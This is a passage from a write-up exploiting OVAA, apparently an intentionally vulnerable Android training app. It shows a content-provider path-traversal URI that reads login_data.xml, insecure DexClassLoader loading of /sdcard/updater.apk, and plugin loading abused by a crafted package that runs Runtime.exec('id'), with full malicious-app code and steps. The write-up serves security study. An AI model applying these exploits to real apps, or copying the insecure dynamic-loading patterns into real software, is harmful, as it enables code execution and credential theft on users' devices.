        provider  = Uri.parse("content://oversecured.ovaa.theftoverwrite/..%2F..%2F..%2F..%2Fdata%2Fdata%2Foversecured.ovaa%2Fshared_prefs%2Flogin_data.xml")
        readContentProvider(provider)
    }

}

96f0528d73da6064a78ae4f1e6a248fd.png

8e88485b343a3004230c622acde3a66b.png

Arbitrary Code Execution via Third-Party Apps / DEX Files

Android Manifest Entry:

<application 
			 android:name=".OversecuredApplication"
			 android:allowBackup="true"
			 android:icon="@mipmap/ic_launcher"
			 android:label="@string/app_name"
			 android:roundIcon="@mipmap/ic_launcher_round"
			 android:supportsRtl="true"
			 android:theme="@style/AppTheme">

Source Code oversecured.ovaa.OversecuredApplication

package oversecured.ovaa;

import android.app.Application;
import android.content.Context;
import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;
import android.os.Build;
import android.os.Bundle;
import android.widget.Toast;

import java.io.File;
import java.io.IOException;

import dalvik.system.DexClassLoader;
import dalvik.system.DexFile;

public class OversecuredApplication extends Application {
    @Override
    public void onCreate() {
        super.onCreate();
        updateChecker();
        invokePlugins();
    }

    private void invokePlugins() {
        for(PackageInfo info : getPackageManager().getInstalledPackages(PackageManager.GET_META_DATA)) {
            String packageName = info.packageName;
            Bundle meta = info.applicationInfo.metaData;
            if(packageName.startsWith("oversecured.plugin.")
                    && meta.getInt("version", -1) >= 10) {

                try {
                    Context packageContext = createPackageContext(packageName,
                            CONTEXT_INCLUDE_CODE | CONTEXT_IGNORE_SECURITY);
                    packageContext.getClassLoader()
                            .loadClass("oversecured.plugin.Loader")
                            .getMethod("loadMetadata", Context.class)
                            .invoke(null, this);
                }
                catch (Exception e) {
                    throw new RuntimeException(e);
                }
            }
        }
    }

    private void updateChecker() {
        try {
            File file = new File("/sdcard/updater.apk");
            if (file.exists() && file.isFile() && file.length() <= 1000) {
                DexClassLoader cl = new DexClassLoader(file.getAbsolutePath(), getCacheDir().getAbsolutePath(),
                        null, getClassLoader());
                int version = (int) cl.loadClass("oversecured.ovaa.updater.VersionCheck")
                        .getDeclaredMethod("getLatestVersion").invoke(null);
                if(Build.VERSION.SDK_INT < version) {
                    Toast.makeText(this, "Update required!", Toast.LENGTH_LONG).show();
                }
            }
        }
        catch (Exception e) {
            //ignore
        }
    }
}

The class OversecuredApplication inherits from the base class Application.

https://developer.android.com/reference/android/app/Application

Base class for maintaining global application state. You can provide your own implementation by creating a subclass and specifying the fully-qualified name of this subclass as the “android:name” attribute in your AndroidManifest.xml’s <application> tag. The Application class, or your subclass of the Application class, is instantiated before any other class when the process for your application/package is created.

https://developer.android.com/reference/android/app/Application#onCreate()

The onCreate method will be called when the application is starting, before any activity, service, or receiver objects (excluding content providers) have been created.

This means that each time when the ovaa application is opened, the method updateChecker() and invokePlugins() are executed before any activity, service or receiver objects are created.

Let us examine each function and vulnerability associated with each of them.

Exploiting updateChecker() Function

private void updateChecker() {
        try {
            File file = new File("/sdcard/updater.apk");
            if (file.exists() && file.isFile() && file.length() <= 1000) {
                DexClassLoader cl = new DexClassLoader(file.getAbsolutePath(), getCacheDir().getAbsolutePath(),
                        null, getClassLoader());
                int version = (int) cl.loadClass("oversecured.ovaa.updater.VersionCheck")
                        .getDeclaredMethod("getLatestVersion").invoke(null);
                if(Build.VERSION.SDK_INT < version) {
                    Toast.makeText(this, "Update required!", Toast.LENGTH_LONG).show();
                }
            }
        }
        catch (Exception e) {
            //ignore
        }
    }

This function does the following.

  • Checks if there is a file existing at path /sdcard/updater.apk.
  • Checks if the same file is a file.
  • Checks if the size of the file is less than 1000 bytes.
  • If all the above 3 checks true, then the function attempts to load the class oversecured.ovaa.updater.VersionCheck from the file.
  • Attempts to get the function getLatestVersion() from the loaded class.
  • Invokes the function getLatestVersion() and saves its return value as integer - version.
  • Checks if the SDK version of the software currently running on the current hardware device is less than the value returned by call to function getLatestVersion().
    • Read more - SDK_INT
    • Build.VERSION.SDK_INT < version
  • If the above check results in True, a Toast message is shown with the message - Update required.

To exploit this, we should do the following.

  • Create another application with package name oversecured.ovaa.updater
  • Create class VersionCheck
  • Create method getLatestVersion() that returns an integer greater than the SDK version. In our example, we will return 1337.
    • The method can be public or private as the function getDeclaredMethod() will get both private and public methods in the class.
  • Compile the application and place the APK in sdcard of the device as updater.apk
    • /sdcard/updater.apk
  • The APK size should not be larger than 1000 bytes.

The size part is where the exploitation of this misconfiguration becomes tricky. When compiling a Hello World application written in either kotlin or java, the debug APK is more than 5 MB. Pushing this APK to the sdcard will not do anything as the size check will not be satisfied.

Looking at the documentation for DexClassLoader points us in right direction which will allow us to reduce the size of the APK.

https://developer.android.com/reference/dalvik/system/DexClassLoader

A class loader that loads classes from .jar and .apk files containing a classes.dex entry. This can be used to execute code not installed as part of an application

So, we don’t need the whole APK contents, we just need an APK file with classes.dex file which contains the class definition for oversecured.ovaa.updater.VersionCheck.

Create a new project in Android Studio with no activity.

641c2528834864cd082a231c9bb76d41.png

I chose Java as the language for this project instead of Kotlin as I found it results in lesser size APK when compared to Kotlin based app.

d09932095571302b0af7d21d63f8e3a2.png

Create new Java class named VersionCheck.

c6b29982d8d692de126d09c9a4dc00f8.png

The getLatestVersion() method is created inside VersionCheck class and it returns the integer value 1337.

package oversecured.ovaa.updater;

public class VersionCheck {
    public int getLatestVersion(){
        return 1337;
    }
}

Compile the application and build the APK.

1ba303297919fc872266a5bb85a65cae.png

The application size if nearly 5 MB. Lets unzip the package and try to find the DEX file in which the VersionCheck class is present.

66c849cae84ebb9fc5e2a17cef612bdb.png

The smallest DEX file is classes3.dex. Decompiling it to see if contains our class definition.

7730f5ce1babf4edd1befd795679d666.png

The classes3.dex indeed contains the required class definition. So, we only need to place this DEX file in the APK and we can safely ignore all other files.

Lets rename classes3.dex to classes.dex and zip it to updater.apk.

52f250f3cb12954edd9dea8d86d8b16f.png

The APK is now only 820 bytes and should pass the size check.

64739eabe2beb2c5cc19f5106df16da7.png

Pushing the APK to sdcard.

518a79d9d1e960628e21bb6e4b77ed3b.png

Opening the ovaa application now should show the Update required Toast message right?.

496a4e4adba6838d12b8b5158d36a7db.png

The toast was not showing up. The reason is, when the function getLatestVersion() is invoked using the invoke(null) method, a null argument is passed. Instead, if the instance of the class VersionCheck is passed to the invoke() function, the getLatestVersion() is called successfully and returns the integer value 1337.

To demostrate this, I wrote another vulnerable app which implements the same updateChecker() functionality. The only change is, when invoking the getLatestVersion() method, instance of the class VersionCheck is passed to the function invoke().

Below is how the vulnerable app is implemented.

Source Code for SecureApp - com.ub3rsecure.secureapp

Android Manifest

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools">
    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"></uses-permission>

    <application
        android:name=".UltraSecureApp"
        android:allowBackup="true"
        android:dataExtractionRules="@xml/data_extraction_rules"
        android:fullBackupContent="@xml/backup_rules"
        android:icon="@mipmap/ic_launcher"
        android:label="@string/app_name"
        android:supportsRtl="true"
        android:theme="@style/Theme.Secureapp"
        tools:targetApi="31">
        <activity
            android:name=".MainActivity"
            android:exported="true">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
    </application>

</manifest>

Main things to note are the following.

  • It uses permission android.permission.READ_EXTERNAL_STORAGE.
    • To read the APK file.
  • Inside <application>, android:name is specified as .UltraSecureApp.
    • The class UltraSecureApp will inherit from Application

MainActivity.kt

package com.ub3rsecure.secureapp

import androidx.appcompat.app.AppCompatActivity
import android.os.Bundle
import android.Manifest.permission.READ_EXTERNAL_STORAGE

class MainActivity : AppCompatActivity() {
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        setContentView(R.layout.activity_main)

        reqPerms()
    }

    private fun reqPerms(){
        requestPermissions(arrayOf(READ_EXTERNAL_STORAGE), 0x1337)
    }
}

MainActivity will request permission from user for SDCARD access.

UltraSecureApp.kt

package com.ub3rsecure.secureapp

import android.app.Application
import android.os.Build
import android.util.Log
import android.widget.Toast
import dalvik.system.DexClassLoader
import java.io.File

class UltraSecureApp : Application() {
    override fun onCreate() {
        super.onCreate()

        updateChecker()
    }

    private fun showToast(messageContent: String){
        Toast.makeText(applicationContext, messageContent, Toast.LENGTH_LONG).show()
    }

    private fun updateChecker(){
        try {
            var file = File("/sdcard/updater.apk")
            if (file.exists() and file.isFile and (file.length() <= 1000)){

                // Get an instance of the DexClassLoader for the APK file.
                var clsLoader = getClassLoader(file)

                // Get the class VersionCheck
                val loadCls = clsLoader.loadClass("oversecured.ovaa.updater.VersionCheck")

                // Get the getLatestVersion() method from the loaded class.
                // val method = loadCls.getMethod("getLatestVersion")
                val method = loadCls.getDeclaredMethod("getLatestVersion")

                // Create Instance of the VersionCheck class
                val clsInstance = loadCls.newInstance()

                // invoking the method with instance of the class VersionCheck as the argument to invoke.
                var version  = method.invoke(clsInstance)  as Int

                if (Build.VERSION.SDK_INT < version){
                    showToast("Update Required")
                }

            }
        } catch (e: Exception){
            Log.d("DEBUG: ERROR ", e.message.toString())
        }
    }

    private fun getClassLoader(dexFile: File): DexClassLoader {
        return DexClassLoader(dexFile.absolutePath,null,null, classLoader)
    }
}

Compile, Build and Install the application on the device. The application asks the user for permission.

7408db25346776bfbf20b6af57e77546.png

Close and open the application again after providing permission.

967cb4481bfc0e4a707405dee140e5ca.png

This time the application shows the Toast message.

Exploiting invokePlugins() Function

private void invokePlugins() {
	for(PackageInfo info : getPackageManager().getInstalledPackages(PackageManager.GET_META_DATA)) {
		String packageName = info.packageName;
		Bundle meta = info.applicationInfo.metaData;
		if(packageName.startsWith("oversecured.plugin.")
				&& meta.getInt("version", -1) >= 10) {

			try {
				Context packageContext = createPackageContext(packageName,
						CONTEXT_INCLUDE_CODE | CONTEXT_IGNORE_SECURITY);
				packageContext.getClassLoader()
						.loadClass("oversecured.plugin.Loader")
						.getMethod("loadMetadata", Context.class)
						.invoke(null, this);
			}
			catch (Exception e) {
				throw new RuntimeException(e);
			}
		}
	}
}

The function does the following.

  • Gets the list of all installed packages.
  • For each installed package, read the meta-data from the AndroidManifest.
  • Check if the package name is starting with oversecured.plugin. and the value of version meta-data is greater than 10.
  • If both above conditions are satisfied, then the class oversecured.plugin.Loader is loaded.
  • Attempts to invoke the function loadMetadata from the loaded class.

To exploit this, we can create and install a package which satisfies all above conditions.

Creating the Malicious Package

We will create new application in Android Studio following below steps.

  • The package name should start with oversecured.plugin. (notice the [dot] at the end) . Example - oversecured.plugin.exploit.
  • We will add a new class Loader to the project with different package name oversecured.plugin so that it can be loaded as oversecured.plugin.Loader.
  • Place the version metadata in the AndroidManifest.xml and the value should be an integer bigger than 10.

AndroidManifest:

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools">
    <application
        android:allowBackup="true"
        android:dataExtractionRules="@xml/data_extraction_rules"
        android:fullBackupContent="@xml/backup_rules"
        android:icon="@mipmap/ic_launcher"
        android:label="@string/app_name"
        android:supportsRtl="true"
        android:theme="@style/Theme.Exploit"
        tools:targetApi="31">
		
        <meta-data android:name="version" android:value="1337" />
		
        <activity
            android:name=".MainActivity"
            android:exported="true">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
    </application>

</manifest>
  • The important line is - <meta-data android:name="version" android:value="1337" />. Rest of the file is the default one Android Studio creates.

MainActivity:

Leave the MainActivity as the default one created by android studio. We don’t need to change anything.

package oversecured.plugin.exploit

import androidx.appcompat.app.AppCompatActivity
import android.os.Bundle

class MainActivity : AppCompatActivity() {
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        setContentView(R.layout.activity_main)
    }
}

Loader Class - oversecured.plugin.Loader:

It is important to keep the package name for this class as oversecured.plugin.

package oversecured.plugin

import android.util.Log
import androidx.appcompat.app.AppCompatActivity
import java.io.BufferedReader
import java.io.InputStreamReader

public class Loader : AppCompatActivity(){
    public fun loadMetadata(): String {
        var cmdProc =  Runtime.getRuntime().exec("id")
        var cmdOut = BufferedReader(InputStreamReader(cmdProc.inputStream)).readLine().toString()
        Log.d("DEBUG CMDOUT", cmdOut)
        return cmdOut
    }
}

The Loader class implements the loadMetadata() function. Inside the function definition, we have implemented code to execute system command id using java.lang.Runtime.exec(). The output of the command will be logged in the device logs. The output is also returned to the caller.

Note: no need to make the Loader class inherit from AppCompatActivity. I forgot to remove it while testing different things. It can be as public class Loader { .... }

Compile the program and decompile to verify if all the package names are in order and we can load the Loader class as oversecured.plugin.Loader.

8183c339350fac670c1cc532e5c44ebf.png

Everything seems to be in order and we should pass the package name check and the Loader class will also be loaded from the package.

Install the package on the device and next time the ovaa application is opened, we should see the output of system command id in the device logs.

$ adb shell "pm list packages" | grep oversecured
package:oversecured.ovaa.updater
package:oversecured.ovaa
package:oversecured.plugin.exploit

a159f70886af61e4f04f1041603c9ddd.png

Unfortunately, this wasn’t the case. The ovaa app kept crashing when we attempt to open it after installing our malicious package. After uninstalling the malicious app, the ovaa app was opening normally. So the problem lies somewhere in the invokePlugins() function implementation itself.

After a bit of investigation , I found the following reasons for why the app keeps crashing.

  1. After getting a list of installed packages, the ovaa app attempts to read version meta-data for each package. Most probably, most of the package won’t be having this in respective AndroidManifest file and would result in an exception. As we can see from the source code, this is not handled by the ovaa application.
    • meta.getInt("version", -1)
  2. After loading the class oversecured.plugin.Loader and getting the method loadMetadata() from it, the app attempts to invoke the function by calling invoke(null, this). This call does not work as a null object is passed to the invoke() instead of the instance of the class from which the method is invoked. In our case, the oversecured.plugin.Loader class.

Just like we did for demonstrating the updateChecker() exploit, implementing the invokePlugins() functionality in our SecureApp. The changes are fixing the above 2 points. Proper error handling and passing an instance of the class to the invoke() method.

Implementing invokePlugins() Function in SecureApp

package com.ub3rsecure.secureapp

import android.app.Application
import android.content.pm.PackageManager
import android.os.Build
import android.util.Log

class UltraSecureApp : Application() {
    override fun onCreate() {
        super.onCreate()

        invokePlugins()
    }

    @Suppress("DEPRECATION")
    private fun invokePlugins(){
        for (packageInfo in packageManager.getInstalledPackages(PackageManager.GET_META_DATA)){
            // Log.d("DEBUG", packageInfo.packageName)
            var pkgName = packageInfo.packageName
            var version = -1

            // not every installed package will have version in the meta-data tag.
            // handle the error, otherwise crashes
            try{
                var meta = packageInfo.applicationInfo.metaData
                version = meta.getInt("version", -1)
            } catch (e: Exception){
                // Log.d("DEBUG", e.message.toString())
            }

            if (pkgName.startsWith("oversecured.plugin.") and (version >= 10)){
                try{
                    Log.d("DEBUG", pkgName)

                    // do the stuff with the package
                    var pkgContext = createPackageContext(pkgName, CONTEXT_INCLUDE_CODE or CONTEXT_IGNORE_SECURITY)
                    var clsLoader = pkgContext.classLoader
                    var cls = clsLoader.loadClass("oversecured.plugin.Loader")

                    // var method = cls.getMethod("loadMetadata", cls)
                    var method = cls.getMethod("loadMetadata")
                    var clsInst = cls.newInstance()

                    method.invoke(clsInst)

                    //  var ot = method.invoke(clsInst) as String
                    //  Log.d("DEBUG OUTPUT", ot)

                } catch (e:Exception){
                    Log.d("DEBUG ERROR", e.message.toString())
                }
            }
        }
    }
}

Compile and install the APK on the device. Opening the SecureApp, we see that it successfully opens up and the output of the command id can be seen in the device logs.

c52366c5bed8921f82bd324dff988e75.png

24b33a3b677c532bde70f9c4a9246daf.png

Checking the process id (pid) also confirms that SecureApp actually executed code from the package oversecured.plugin.Loader.